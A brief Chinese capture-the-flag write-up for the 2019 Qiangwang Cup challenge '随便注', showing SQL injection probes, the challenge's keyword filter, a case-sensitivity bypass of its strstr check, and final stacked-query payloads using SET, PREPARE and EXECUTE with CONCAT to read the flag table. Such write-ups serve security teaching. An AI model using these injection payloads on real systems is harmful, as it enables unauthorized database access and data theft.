[强网杯 2019]随便注

根据页面提示进行闭合

/?inject=2'%23

/?inject=2'+or+1%23

尝试注入发现过滤部分函数:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试预编译堆叠注入,发现过滤:

strstr($inject, "set") && strstr($inject, "prepare")

但是strstr()函数对大小写敏感,所以可以使用大小写的方式绕过。

最终payload:

<!-- 获取表名 -->
/?inject=2';show tables;%23

<!-- get flag -->
';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

最后更新于

这有帮助吗?